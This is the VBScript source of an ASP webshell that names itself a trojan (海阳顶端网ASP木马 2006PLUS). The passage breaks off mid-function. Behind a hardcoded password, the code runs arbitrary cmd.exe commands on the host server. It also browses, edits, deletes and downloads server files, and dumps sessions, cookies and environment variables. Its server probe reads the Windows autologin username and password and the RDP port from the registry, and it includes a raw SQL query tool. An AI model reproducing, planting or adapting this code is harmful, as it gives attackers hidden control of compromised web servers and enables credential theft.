"
sSqlSelect = " "
Const s = "" ’’登录标志
Const m = "HYTop2006+" ’’Session标志
Const isDebugMode = False ’False,True’’是否调试模式
Const userPassword = "4E4E4E4E" ’’登录密码
Const imageFileExt = "$gif$jpg$bmp$" ’’图像后缀列表
Const editableFileExt = "$vbs$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$lst$aspx$php3$php4$js$css$bat$asa$"
Sub O(sStr)
Response.Write sStr
End Sub
Sub IsIn()
If Session(m & "userPassword") <> userPassword Then
O ""
Response.End()
End If
End Sub
Function IIf(var, val1, val2)
If var = True Then IIf = val1 Else IIf = val2
End Function
Sub RedirectTo(url)
Response.Redirect(url)
End Sub
Function StrEncode(str)
str = HtmlEncode(str)
str = Replace(str, " ", " ")
str = Replace(str, "", " ")
str = Replace(str, vbNewLine, " ")
StrEncode = str
End Function
Sub CreateObj(oFso, oShl, oWshl)
On Error Resume Next
Set oWshl = Server.CreateObject("WScript.Shell")
Set oShl = Server.CreateObject("Shell.Application")
Set oFso = Server.CreateObject("Scripting.FileSystemObject")
If IsEmpty(oShl) Then Set oShl = sa
If IsEmpty(oFso) Then Set oFso = fso
If IsEmpty(oWshl) Then Set oWshl = ws
If Err Then Err.Clear
End Sub
Function StreamLoadFromFile(sPath)
Dim oStream
If isDebugMode = False Then On Error Resume Next
Set oStream = Server.CreateObject("adodb.stream")
With oStream
.Type = 2
.Mode = 3
.Open
.LoadFromFile sPath
If Request("PageName") <> "TxtSearcher" Then ChkErr(Err)
.Charset = "gb2312"
.Position = 2
StreamLoadFromFile = .ReadText()
.Close
End With
Set oStream = Nothing
End Function
Sub JavaScript(sStr)
Response.Write(vbNewLine & "" & vbNewLine)
End Sub
Function GetPost(var)
Dim val
If Request.QueryString("PageName") = "PageUpload" Then
PageName = "PageUpload"
Exit Function
End If
val = RTrim(Request.Form(var))
If val = "" Then val = RTrim(Request.QueryString(var))
GetPost = val
End Function
Function HtmlEncode(str)
If IsNull(str) Then Exit Function
HtmlEncode = Server.HTMLEncode(str)
End Function
Function UrlEncode(str)
If IsNull(str) Then Exit Function
UrlEncode = Server.URLEncode(str)
End Function
Sub ShowTitle(str)
Response.Write "" & str & " - 海阳顶端网ASP木马＠2006PLUS - 湘山野老修改"
Response.Write ""
End Sub
Function GetTheSize(n)
Dim i, aSize(4)
aSize(0) = "B"
aSize(1) = "KB"
aSize(2) = "MB"
aSize(3) = "GB"
aSize(4) = "TB"
While(n / 1024 >= 1)
n = n / 1024
i = i + 1
WEnd
GetTheSize = Fix(n * 100) / 100 & " " & aSize(i)
End Function
Sub ShowErr(str)
Dim i, aStr
str = HtmlEncode(str)
aStr = Split(str, "$$")
O ""
O "出错信息:
"
For i = 0 To UBound(aStr)
O " " & (i + 1) & ". " & aStr(i) & " "
Next
O ""
Response.End()
End Sub
Sub CreateFolder(sPath)
Dim i
i = InStr(Mid(sPath, 4), "\") + 3
Do While i > 0
If oFso.FolderExists(Left(sPath, i)) = False Then oFso.CreateFolder(Left(sPath, i - 1))
If InStr(Mid(sPath, i + 1), "\") Then i = i + InStr(Mid(sPath, i + 1), "\") Else i = 0
Loop
End Sub
Sub AlertThenClose(str)
If str = "" Then
Response.Write ""
Else
Response.Write ""
End If
End Sub
Sub ChkErr(Err)
If Err Then
O "
错误: " & Err.Description & "
错误源: " & Err.Source & "
"
O " By Marcos 2005.11"
Err.Clear
Response.End
End If
End Sub
Sub TopMenu()
O ""
O ""
O ""
O ""
End Sub
Rem ++++++++++++++++++++++++++++++++++++
Rem 以下是页面选择部分
Rem ++++++++++++++++++++++++++++++++++++
Call CreateObj(oFso, oShl, oWshl)
Response.Clear
PageOther()
If PageName <> "" And PageName <> s Then
IsIn()
TopMenu()
End If
Select Case PageName
Case "PageSearch"
PageSearch()
Case "PageServiceList"
PageServiceList()
Case "PageUserList"
PageUserList()
Case "PageCheck"
PageCheck()
Case "PageFso"
PageFso()
Case "PageApp"
PageApp()
Case "PageDBTool"
PageDBTool()
Case "PageUpload"
PageUpload()
Case "PageWsCmdRun"
PageWsCmdRun()
Case "PageSaCmdRun"
PageSaCmdRun()
Case "PagePack"
PagePack()
Case "PageExecute"
PageExecute()
Case "PageCSInfo"
PageCSInfo()
Case "PageOtherTools"
PageOtherTools()
Case "PageWebProxy"
PageWebProxy()
Case s, "PageOut"
PageLogin()
End Select
Set oFso = Nothing
Set oShl = Nothing
Set oWshl = Nothing
Rem +++++++++++++++++++++++++++++++++++++
Rem 以下是各功能模块部分
Rem +++++++++++++++++++++++++++++++++++++
Sub PageWsCmdRun()
Dim cmdStr, cmdPath, cmdResult
cmdStr = Request("cmdStr")
cmdPath = Request("cmdPath")
ShowTitle("WScript.Shell命令行操作")
If cmdPath = "" Then
cmdPath = "cmd.exe"
End If
If theAct = "PackIt" And cmdStr <> "" Then
Server.ScriptTimeOut = 999999
cmdStr = "c:\progra~1\WinRAR\Rar.exe a """ & cmdStr & "\Packet.rar"" """ & cmdStr & """"
cmdStr = Replace(cmdStr, "\\", "\")
End If
If cmdStr <> "" Then
If InStr(LCase(cmdPath), "cmd.exe") > 0 Then
cmdResult = DoWsCmdRun(cmdPath & " /c " & cmdStr)
Else
If LCase(cmdPath) = "wscriptshell" Then
cmdResult = DoWsCmdRun(cmdStr)
Else
cmdResult = DoWsCmdRun(cmdPath & " " & cmdStr)
End If
End If
End If
O ""
O ""
O ""
End Sub
Function DoWsCmdRun(cmdStr)
If isDebugMode = False Then On Error Resume Next
Dim oFile
doWsCmdRun = oWshl.Exec(cmdStr).StdOut.ReadAll()
If Err Then
O Err.Description & " "
Err.Clear
oWshl.Run cmdStr & " > " & aspPath, 0, True
Set oFile = oFso.OpenTextFile(aspPath)
DoWsCmdRun = oFile.RealAll()
If Err Then
O Err.Description & " "
Err.Clear
DoWsCmdRun = StreamLoadFromFile(aspPath)
End If
End If
End Function
Sub PageSaCmdRun()
If isDebugMode = False Then On Error Resume Next
Dim theFile, appPath, appName, appArgs
ShowTitle("Shell.Application 命令行操作")
appPath = Trim(Request("appPath"))
appName = Trim(Request("appName"))
appArgs = Trim(Request("appArgs"))
If theAct = "doAct" Then
If appName = "" Then appName = "cmd.exe"
If appPath <> "" And Right(appPath, 1) <> "\" Then
appPath = appPath & "\"
End If
If LCase(appName) = "cmd.exe" And appArgs <> "" Then
If LCase(Left(appArgs, 2)) <> "/c" Then
appArgs = "/c " & appArgs
End If
Else
If LCase(appName) = "cmd.exe" And appArgs = "" Then
appArgs = "/c "
End If
End If
oShl.ShellExecute appName, appArgs, appPath, "", 0
’Response.Write("oShl.ShellExecute " & appName & ", " & appArgs & ", " & appPath & ", """", 0")
chkErr(Err)
End If
If theAct = "readResult" Then
Err.Clear
Response.Clear
Response.Write("" & vbNewLine)
O StrEncode(streamLoadFromFile(aspPath))
If Err Then
Err.Clear
Set theFile = fsoX.OpenTextFile(aspPath)
O StrEncode(theFile.ReadAll())
Set theFile = Nothing
End If
Response.End()
End If
O ""
O ""
O ""
End Sub
Sub PageSearch()
Dim strKey, strPath
strKey = GetPost("Key")
Server.ScriptTimeout = 5000
If thePath = "" Then thePath = rootPath
ShowTitle("文本文件搜索器")
SearchTable(strKey)
If theAct <> "" And strKey <> "" Then
SearchIt(strKey)
End If
End Sub
Sub SearchTable(strKey)
O ""
End Sub
Sub SearchIt(key)
Dim strPath, theFolder
Response.Buffer = True
strPath = thePath
If oFso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = oFso.GetFolder(strPath)
O "
"
Select Case theAct
Case "Both"
Call SearchFolder(theFolder, key, 1)
Case "FileName"
Call SearchFolder(theFolder, key, 2)
Case "FileContent"
Call SearchFolder(theFolder, key, 3)
End Select
O "
"
Set theFolder = Nothing
End Sub
Sub SearchFolder(folder, key, flag)
Dim ext, title, theFile, theFolder
For Each theFile In folder.Files
ext = LCase(oFso.GetExtensionName(theFile.Path))
If flag = 1 Or flag = 2 Then
If InStr(LCase(theFile.Name), LCase(key)) > 0 Then O FileLink(theFile, "")
End If
If flag = 1 Or flag = 3 Then
If InStr(EditableFileExt, "$" & ext & "$") > 0 Then
If SearchFile(theFile, key, title) Then O FileLink(theFile, title)
End If
End If
Next
Response.Flush()
For Each theFolder In folder.SubFolders
Call SearchFolder(theFolder, key, flag)
Next
End Sub
Function SearchFile(f, s, title)
Dim theFile, content, pos1, pos2
If isDebugMode = False Then On Error Resume Next
Set theFile = oFso.OpenTextFile(f.Path)
content = theFile.ReadAll()
theFile.Close
Set theFile = Nothing
If Err Then Err.Clear
SearchFile = InStr(1, content, s, 1)
If SearchFile > 0 Then
pos1 = InStr(1, content, "", 1)
pos2 = InStr(1, content, "", 1)
title = ""
If pos1 > 0 And pos2 > 0 Then
title = Mid(content, pos1 + 7, pos2 - pos1 - 7)
End If
End If
End Function
Function FileLink(file, title)
fileLink = file.Path
If title = "" Then
title = file.Name
End If
fileLink = " " & title & " " & fileLink & " "
End Function
Sub PageCheck()
ShowTitle("服务器信息探针")
Response.Flush()
InfoCheck()
Response.Flush()
ObjCheck()
Response.Flush()
GetSrvDrvInfo()
Response.Flush()
End Sub
Sub InfoCheck()
Dim aCheck(7), sExEnvList, aExEnvList
If isDebugMode = False Then On Error Resume Next
sExEnvList = "ClusterLog$SystemRoot$WinDir$ComSpec$TEMP$TMP$NUMBER_OF_PROCESSORS$OS$Os2LibPath$Path$PATHEXT$PROCESSOR_ARCHITECTURE$" & _
"PROCESSOR_IDENTIFIER$PROCESSOR_LEVEL$PROCESSOR_REVISION"
aExEnvList = Split(sExEnvList, "$")
aCheck(0) = Server.ScriptTimeOut() & "(秒)"
aCheck(1) = FormatDateTime(Now(), 0)
aCheck(2) = Request.ServerVariables("SERVER_NAME")
aCheck(2) = aCheck(2) & ", " & Request.ServerVariables("LOCAL_ADDR")
aCheck(2) = aCheck(2) & ":" & Request.ServerVariables("SERVER_PORT")
aCheck(3) = Request.ServerVariables("OS")
aCheck(3) = IIf(aCheck(3) = "", "Windows2003", aCheck(3)) & ", " & Request.ServerVariables("SERVER_SOFTWARE")
aCheck(3) = aCheck(3) & ", " & ScriptEngine & "/" & ScriptEngineMajorVersion & "." & ScriptEngineMinorVersion & "." & ScriptEngineBuildVersion
aCheck(4) = rootPath
aCheck(4) = aCheck(4) & ", " & GetTheSize(oFso.GetFolder(rootPath).Size)
aCheck(5) = "Path: " & Request.ServerVariables("PATH_TRANSLATED") & " "
aCheck(5) = aCheck(5) & " Url : http://" & Request.ServerVariables("SERVER_NAME") & Request.ServerVariables("Url")
aCheck(6) = "变量数: " & Application.Contents.Count() & ","
aCheck(6) = aCheck(6) & " 会话数: " & Session.Contents.Count & ","
aCheck(6) = aCheck(6) & " 当前会话ID: " & Session.SessionId() & " "
aCheck(6) = aCheck(6) & " 服务器内存: " & GetTheSize(oShl.GetSystemInformation("PhysicalMemoryInstalled")) & ","
aCheck(6) = aCheck(6) & " 计" & oWshl.Environment("SYSTEM")("NUMBER_OF_PROCESSORS") & "个CPU(" & oWshl.Environment("SYSTEM")("PROCESSOR_IDENTIFIER") & ")"
O Replace(sHeader, "{$s}", "服务器基本信息")
O "
"
O "
项目
"
O "
值
"
O "
"
O "
"
O "
默认超时
"
O "
" & aCheck(0) & "
"
O "
"
O "
"
O "
当前时间
"
O "
" & aCheck(1) & "
"
O "
"
O "
"
O "
服务器名
"
O "
" & aCheck(2) & "
"
O "
"
O "
"
O "
软件环境
"
O "
" & aCheck(3) & "
"
O "
"
O "
"
O "
站点目录
"
O "
" & aCheck(4) & "
"
O "
"
O "
"
O "
当前路径
"
O "
" & aCheck(5) & "
"
O "
"
O "
终端服务端口 及自动登录信息
"
GetTerminalInfo()
O "
"
O "
"
O "
其它
"
O "
" & aCheck(6) & "
"
O "
"
O "
"
O "
环境变量
"
O "
"
For i = 0 To UBound(aExEnvList)
O aExEnvList(i) & ": " & oWshl.ExpandEnvironmentStrings("%" & aExEnvList(i) & "%") & " "
Next
O "
"
O "
"
O sFooter
End Sub
Sub GetSrvDrvInfo()
If isDebugMode = False Then On Error Resume Next
Dim oTheDrive
O " "
O Replace(Replace(sHeader, "{$s}", "服务器磁盘信息"), "=2", "=6")
O "
"
O "
盘符
"
O "
类型
"
O "
卷标
"
O "
文件系统
"
O "
可用空间
"
O "
总空间
"
O "
"
For Each oTheDrive In oFso.Drives
O "
"
O oTheDrive.DriveLetter
O "
"
O GetDriveType(oTheDrive.DriveType)
O "
"
O oTheDrive.VolumeName
O "
"
O oTheDrive.FileSystem
O "
"
O GetTheSize(oTheDrive.FreeSpace)
O "
"
O GetTheSize(oTheDrive.TotalSize)
O "
"
If Err Then Err.Clear
Next
O Replace(sFooter, "=2", "=6")
Set oTheDrive = Nothing
End Sub
Function GetDriveType(n)
Select Case n
Case 0
GetDriveType = "未知"
Case 1
GetDriveType = "可移动磁盘"
Case 2
GetDriveType = "本地硬盘"
Case 3
GetDriveType = "网络磁盘"
Case 4
GetDriveType = "CD-ROM"
Case 5
GetDriveType = "RAM 磁盘"
End Select
End Function
Sub GetTerminalInfo()
If isDebugMode = False Then On Error Resume Next
Dim terminalPortPath, terminalPortKey, termPort
Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey
Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword
terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\"
terminalPortKey = "PortNumber"
termPort = oWshl.RegRead(terminalPortPath & terminalPortKey)
If termPort = "" Or Err.Number <> 0 Then
O " 无法得到终端服务端口, 请检查权限是否已经受到限制. "
Else
O " 当前终端服务端口: " & termPort & " "
End If
autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"
autoLoginEnableKey = "AutoAdminLogon"
autoLoginUserKey = "DefaultUserName"
autoLoginPassKey = "DefaultPassword"
isAutoLoginEnable = oWshl.RegRead(autoLoginPath & autoLoginEnableKey)
If isAutoLoginEnable = 0 Then
O " 系统自动登录功能未开启"
Else
autoLoginUsername = oWshl.RegRead(autoLoginPath & autoLoginUserKey)
O " 自动登录的系统帐户: " & autoLoginUsername & " "
autoLoginPassword = oWshl.RegRead(autoLoginPath & autoLoginPassKey)
If Err Then
Err.Clear
O "False"
End If
O " 自动登录的帐户密码: " & autoLoginPassword & " "
End If
End Sub
Sub ObjCheck()
Dim aObj(19)
Dim x, objTmp, theObj, strObj
If isDebugMode = False Then On Error Resume Next
strObj = Trim(getPost("TheObj"))
aObj(0) = "MSWC.AdRotator|广告轮换组件"
aObj(1) = "MSWC.BrowserType|浏览器信息组件"
aObj(2) = "MSWC.NextLink|内容链接库组件"
aObj(3) = "MSWC.Tools|"
aObj(4) = "MSWC.Status|"
aObj(5) = "MSWC.Counters|计数器组件"
aObj(6) = "MSWC.PermissionChecker|权限检测组件"
aObj(7) = "Adodb.Connection|ADO 数据对象组件"
aObj(8) = "CDONTS.NewMail|虚拟 SMTP 发信组件"
aObj(9) = "Scripting.FileSystemObject|FSO组件"
aObj(10) = "Adodb.Stream|Stream 流组件"
aObj(11) = "Shell.Application|"
aObj(12) = "WScript.Shell|"
aObj(13) = "Wscript.Network|"
aObj(14) = "ADOX.Catalog|"
aObj(15) = "JMail.SmtpMail|JMail 邮件收发组件"
aObj(16) = "Persits.Upload.1|ASPUpload 文件上传组件"
aObj(17) = "LyfUpload.UploadFile|刘云峰的文件上传组件组件"
aObj(18) = "SoftArtisans.FileUp|SA-FileUp 文件上传组件"
aObj(19) = strObj & "|您所要检测的组件"
O " "
O Replace(Replace(sHeader, "{$s}", "服务器组件信息"), "=2", "=3")
O "
"
O "
组件(描述)
"
O "
支持
"
O "
版本
"
O "
"
For Each x In aObj
theObj = Split(x, "|")
If theObj(0) = "" Then Exit For
Set objTmp = Server.CreateObject(theObj(0))
If Err <> -2147221005 Then
x = x & "|√" & IIf(Err = -2147221005, "(权限不足)", "") & "|"
x = x & objTmp.Version
Else
x = x & "|×|"
End If
If Err Then Err.Clear
Set objTmp = Nothing
theObj = Split(x, "|")
theObj(1) = theObj(0) & IIf(theObj(1) <> "", " (" & theObj(1) & ")", "")
O "
"
O "
" & theObj(1) & "
"
O "
" & theObj(2) & "
"
O "
" & theObj(3) & "
"
O "
"
Next
O ""
O Replace(sFooter, "=2", "=3")
End Sub
Sub PageCSInfo()
If isDebugMode = False Then On Error Resume Next
Dim sKey, sVar, sVariable
ShowTitle("客户端服务器交互信息")
O Replace(sHeader, "{$s}", "Application 变量查看")
For Each sVariable In Application.Contents
O "
"
O " " & sVariable & ""
O "
"
If IsArray(Application(sVariable)) = True Then
For Each sVar In Application(sVariable)
O "
" & StrEncode(sVar) & "
"
Next
Else
O StrEncode(Application(sVariable))
End If
O "
"
Next
O sFooter
O " " & Replace(sHeader, "{$s}", "Session 变量查看")
For Each sVariable In Session.Contents
O "
"
O " " & sVariable & ""
O "
"
O StrEncode(Session(sVariable))
O "
"
Next
O sFooter
O " " & Replace(sHeader, "{$s}", "Cookies 变量查看")
For Each sVariable In Request.Cookies
If Request.Cookies(sVariable).HasKeys Then
For Each sKey In Request.Cookies(sVariable)
O "
"
O " " & sVariable & "(" & sKey & ")"
O "
"
O StrEncode(Request.Cookies(sVariable)(sKey))
O "
"
Next
Else
O "
" & sVariable & "
" & StrEncode(Request.Cookies(sVariable)) & "
"
End If
Next
O sFooter
O " " & Replace(sHeader, "{$s}", "ServerVariables 变量查看")
For Each sVariable In Request.ServerVariables
O "
" & sVariable & ":
" & StrEncode(Request.ServerVariables(sVariable)) & ""
Next
O sFooter
End Sub
Sub PageFso()
ShowTitle("FSO文件浏览操作器")
Select Case theAct
Case "rename"
RenOne()
Case "download"
DownTheFile()
Response.End()
Case "del"
DelOne()
Case "newone"
NewOne()
Case "saveas"
SaveAs()
Case "save"
SaveToFile()
ShowEdit()
Response.End()
Case "showedit"
ShowEdit()
Response.End()
Case "showimage"
ShowImage()
Response.End()
Case "copy", "move"
MoveCopyOne()
End Select
If theAct <> "" Then thePath = GetPost("truePath")
FsoFileExplorer()
End Sub
Sub FsoFileExplorer()
Dim objX, theFolder, folderId, extName, parentFolderName
Dim strPath
If isDebugMode = False Then On Error Resume Next
If thePath = "" Then thePath = rootPath
strPath = thePath
If oFso.FolderExists(strPath) = False Then
ShowErr(thePath & " 目录不存在或者不允许访问!")
End If
Set theFolder = oFso.GetFolder(strPath)
parentFolderName = oFso.GetParentFolderName(strPath) & "\"
O "
"
O "
"
O "
"
O ""
O ""
O ""
O "
"
O "
"
If parentFolderName <> "\" Then
folderId = Replace(parentFolderName, "\", "\\")
O " ↑回上级目录"
End If
O "
大小
"
O "
最后修改
操作
"
For Each objX In theFolder.SubFolders
folderId = Replace(objX.Path, "\", "\\")
O "
"
Next
For Each objX In theFolder.Files
If Left(objX.Path, Len(rootPath)) <> rootPath Then
folderId = ""
Else
folderId = Replace(Replace(UrlEncode(Mid(objX.Path, Len(rootPath) + 1)), "%2E", "."), "+", "%20")
End If
O "
□"
O ""
If folderId = "" Then
O objX.Name
Else
O "" & objX.Name & ""
End If
O "
" & GetTheSize(objX.Size) & "
"
O "
" & objX.DateLastModified & "
"
O ""
extName = LCase(oFso.GetExtensionName(objX.Path))
If InStr(editableFileExt, "$" & extName & "$") > 0 Then
O ""
End If
If InStr(imageFileExt, "$" & extName & "$") > 0 Then
O ""
End If
If extName = "mdb" Then
O ""
End If
O ""
O ""
O ""
O "
"
Next
O "
"
O "
"
O ""
O ""
O "
"
O "
"
O " "
O " "
O ""
O "移动选中文件(夹)到
"
O "复制选中文件(夹)到
"
O "
"
O sFooter
O ""
Set theFolder = Nothing
End Sub
Sub RenOne()
Dim objX, strPath, aryParam, isFile, isFolder
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\"
aryParam(0) = strPath & aryParam(0)
isFile = oFso.FileExists(aryParam(0))
isFolder = oFso.FolderExists(aryParam(0))
If isFile = False And isFolder = False Then
ShowErr("文件(夹)不存在或者不允许访问!")
End If
If isFile = False Then
Set objX = oFso.GetFolder(aryParam(0))
objX.Name = aryParam(1)
Else
Set objX = oFso.GetFile(aryParam(0))
objX.Name = aryParam(1)
End If
Set objX = Nothing
ChkErr(Err)
End Sub
Sub DownTheFile()
Response.Clear
Dim oStream, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set oStream = Server.CreateObject("adodb.stream")
oStream.Open
oStream.Type = 1
oStream.LoadFromFile(strPath)
ChkErr(Err)
Response.AddHeader "Content-Disposition", "Attachment; Filename=" & GetPost("param")
Response.AddHeader "Content-Length", oStream.Size
Response.Charset = "UTF-8"
Response.ContentType = "Application/Octet-Stream"
Response.BinaryWrite oStream.Read
Response.Flush
oStream.Close
Set oStream = Nothing
End Sub
Sub DelOne()
Dim objX, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\"
For Each objX In Request.Form("checkBox")
If oFso.FolderExists(strPath & objX) = True Then
Call oFso.DeleteFolder(strPath & objX, True)
ChkErr(Err)
Else
If oFso.FileExists(strPath & objX) = True Then
Call oFso.DeleteFile(strPath & objX, True)
ChkErr(Err)
End If
End If
Next
End Sub
Sub MoveCopyOne()
Dim objX, strPath, strMoveTo, strCopyTo
If isDebugMode = False Then On Error Resume Next
strMoveTo = GetPost("MoveTo")
strCopyTo = GetPost("CopyTo")
strPath = GetPost("truePath") & "\"
If theAct = "move" Then
strMoveTo = strMoveTo & "\"
Else
strCopyTo = strCopyTo & "\"
End If
For Each objX In Request.Form("checkBox")
If theAct = "move" Then
If InStr(strMoveTo, strPath & objX) > 0 Then
ShowErr("目标文件夹不能在源文件夹内")
End If
If oFso.FileExists(strPath & objX) = True Then
Call oFso.MoveFile(strPath & objX, strMoveTo & objX)
Else
Call oFso.MoveFolder(strPath & objX, strMoveTo & objX)
End If
Else
If InStr(strCopyTo, strPath & objX) > 0 Then
ShowErr("目标文件夹不能在源文件夹内")
End If
If oFso.FileExists(strPath & objX) = True Then
Call oFso.CopyFile(strPath & objX, strCopyTo & objX)
Else
Call oFso.CopyFolder(strPath & objX, strCopyTo & objX)
End If
End If
ChkErr(Err)
Next
End Sub
Sub NewOne()
Dim objX, strPath, aryParam
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
strPath = GetPost("truePath") & "\" & aryParam(0)
If aryParam(1) = "file" Then
Call oFso.CreateTextFile(strPath, False)
Else
oFso.CreateFolder(strPath)
End If
End Sub
Sub ShowEdit()
Dim theFile, strPath
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
If Right(strPath, 1) = "\" Then strPath = Left(strPath, Len(strPath) - 1)
Set theFile = oFso.OpenTextFile(strPath, 1, False)
ChkErr(Err)
O ""
O "
"
Set theFile = Nothing
End Sub
Sub SaveToFile()
Dim theFile, strPath, fileContent
If isDebugMode = False Then On Error Resume Next
fileContent = GetPost("fileContent")
strPath = GetPost("truePath")
Set theFile = oFso.OpenTextFile(strPath, 2, True)
theFile.Write fileContent
theFile.Close
ChkErr(Err)
Set theFile = Nothing
End Sub
Sub SaveAs()
Dim strPath, aryParam, isFile
If isDebugMode = False Then On Error Resume Next
aryParam = Split(GetPost("param"), ",")
aryParam(0) = aryParam(0)
aryParam(1) = aryParam(1)
isFile = oFso.FileExists(aryParam(0))
If isFile = True Then
oFso.CopyFile aryParam(0), aryParam(1), False
Else
oFso.CopyFolder aryParam(0), aryParam(1), False
End If
ChkErr(Err)
End Sub
Sub ShowImage()
Dim stream, strPath, fileContentType
If isDebugMode = False Then On Error Resume Next
strPath = GetPost("truePath") & "\" & GetPost("param")
Set stream = Server.CreateObject("adodb.stream")
stream.Open
stream.Type = 1
stream.LoadFromFile(strPath)
ChkErr(Err)
Response.Clear
Response.BinaryWrite stream.Read
stream.Close
Set stream = Nothing
End Sub
Sub PageDBTool()
ShowTitle("Access + SQL Server 数据库操作")
O ""
Response.End()
End If
ShowDBTool()
Select Case theAct
Case "Query"
ShowQuery()
Case "ShowTables"
ShowTables()
End Select
O ""
End Sub
Sub ShowDBTool()
O ""
O ""
O ""
O Replace(sHeader, "{$s}", "Access + SQL Server 数据库操作")
O "
"
O "
"
O " "
O ""
O "
"
O "
"
O "
"
O "
"
O "
"
O "
"
O "
"
O ""
O " "
O "
"
O "
"
O ""
End Sub
Sub ShowTables()
Dim Cat, objTable, objColumn, intColSpan, objSchema
If isDebugMode = False Then On Error Resume Next
O sSqlSelect & ""
O " "
O "3)this.form.sql.rows-=3;’>"
O ""
O " "
O Replace(sHeader, "{$s}", "数据表及结构查看")
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
O "
"
For Each objTable In Cat.Tables
O "" & objTable.Name & ""
Next
O "
"
intColSpan = IIf(isSqlServer = True, "4", "6")
For Each objTable In Cat.Tables
O "
"
O "
"
O "
"
O "
"
O "
"
O "
"
O objTable.Name & "
"
O "
"
O "
"
O "
列名
"
O "
类型
"
O "
大小
"
O "
可否为空
"
If isSqlServer = False Then
O "
默认值
"
O "
描述
"
End If
O "
"
For Each objColumn In Cat.Tables(objTable.Name).Columns
O "
"
O HtmlEncode(objColumn.Properties("Default").value) & "
"
O "
"
O objColumn.Properties("Description") & "
"
End If
O "
"
Next
O "
"
O "
"
O "
"
O "
"
Next
O "
"
O "
"
O "
"
O "
"
O "
"
O "
"
O "
By Marcos 2005.11
"
O "
"
O ""
Set Cat = Nothing
DestoryConn()
End Sub
Sub ShowQuery()
Dim i, j, x, rs, sql, sqlB, sqlC, Cat, intPage, objTable, strParam, strTable, strPrimaryKey, sExec
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
Set rs = Server.CreateObject("Adodb.RecordSet")
If IsNumeric(strParam) = True Then
intPage = strParam
Else
intPage = 1
strTable = strParam
sql = ""
End If
If sql = "" Then
sql = "Select * From [" & strTable & "]"
End If
For i = 1 To Request.Form("KeyWord").Count
If Request.Form("KeyWord")(i) <> "" Then
sqlC = Replace(Request.Form("KeyWord")(i), "’", "’’")
sqlC = IIf(Request.Form("JoinTag")(i) = " like ", "’" & sqlC & "’", sqlC)
sqlB = sqlB & "[" & Request.Form("Fields")(i) & "]" & Request.Form("JoinTag")(i) & sqlC & Request.Form("JoinTag2")(i)
End If
Next
If sqlB <> "" Then
sql = "Select * From [" & strTable & "] Where " & sqlB
If Right(sql, 4) = " Or " Then sql = Left(sql, Len(sql) - 4)
If Right(sql, 5) = " And " Then sql = Left(sql, Len(sql) - 5)
End If
O sSqlSelect & ""
O ""
O " "
O "3)this.form.sqlB.rows-=3;’>"
O ""
O ""
O " "
O Replace(sHeader, "{$s}", "SQL查询器")
CreateConn()
Set Cat = Server.CreateObject("ADOX.Catalog")
Cat.ActiveConnection = conn.ConnectionString
O "
"
For Each objTable In Cat.Tables
O ""
If strTable = objTable.Name Then
O "" & objTable.Name & ""
Else
O objTable.Name
End If
O ""
Next
O "
"
If LCase(Left(sql, 7)) = "select " Then
rs.Open sql, conn, 1, 1
ChkErr(Err)
rs.PageSize = PageSize
If Not rs.Eof Then
rs.AbsolutePage = intPage
End If
O "
"
O "
"
O "
"
O "
"
O "
"
O "
查询
"
O "
"
O "
"
O ""
O ""
O " "
O "’+this.parentElement.innerHTML+’
’;"">"
O " "
O ""
O "
"
O "
"
O "
"
If rs.Fields.Count > 0 Then
strPrimaryKey = GetPrimaryKey(strTable)
O "
"
O "
"
O "
"
O "
"
O "
"
O "
操作
"
For j = 0 To rs.Fields.Count - 1
O "
" & rs.Fields(j).Name & "
"
Next
For i = 1 To rs.PageSize
If rs.Eof Then Exit For
O "
"
O "
"
O "
"
If strPrimaryKey <> "" Then
O ""
O "
"
Else
O ""
O ""
End If
For j = 0 To rs.Fields.Count - 1
O "
"
rs.Close
Else
Set rs = conn.Execute(sql, i, &H0001)
ChkErr(Err)
If rs.Fields.Count > 0 Then
O "
"
O "
"
O "
"
O "
"
sExec = "
"
For i = 0 To rs.Fields.Count - 1
O "
" & rs.Fields(i).Name & "
"
sExec = sExec & "
{$" & i & "}
"
Next
sExec = sExec & "
"
O ""
Do Until rs.EOF
For i = 0 To rs.Fields.Count - 1
sExec = Replace(sExec, "{$" & i & "}", StrEncode(rs(i)) & " {$" & i & "}")
Next
rs.MoveNext
Loop
For i = 0 To rs.Fields.Count - 1
sExec = Replace(sExec, " {$" & i & "}", "")
Next
O sExec & "
"
Else
O ""
End If
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
Exit Sub
End If
O "
"
O "
"
O sFooter
Set rs = Nothing
Set Cat = Nothing
DestoryConn()
End Sub
Sub SqlShowEdit()
Dim intFindI, intFindJ, intFindK, intFindL, intFindM, strJoinTag, multiTables, aParam
Dim i, x, rs, sql, strTable, strExtra, strParam, intI, strColumn, strValue, strPrimaryKey
If isDebugMode = False Then On Error Resume Next
sql = GetPost("sql")
strParam = GetPost("param")
strTable = GetPost("theTable")
intI = InStr(strParam, "!")
intFindI = InStr(LCase(sql), " where")
intFindJ = InStrRev(LCase(sql), "order ")
intFindK = IIf(LCase(Right(sql, 4)) = "desc", "1", "0")
strValue = Mid(strParam, intI + 1)
strColumn = Left(strParam, intI - 1)
strExtra = IIf(theAct = "next", ">", IIf(theAct = "pre", "<", ""))
If intFindJ > 0 Then sql = Left(sql, intFindJ - 1)
If intFindI > 0 Then
strJoinTag = ") And "
sql = Left(sql, intFindI + 5) & "(" & Mid(sql, intFindI + 6)
Else
strJoinTag = " Where "
End If
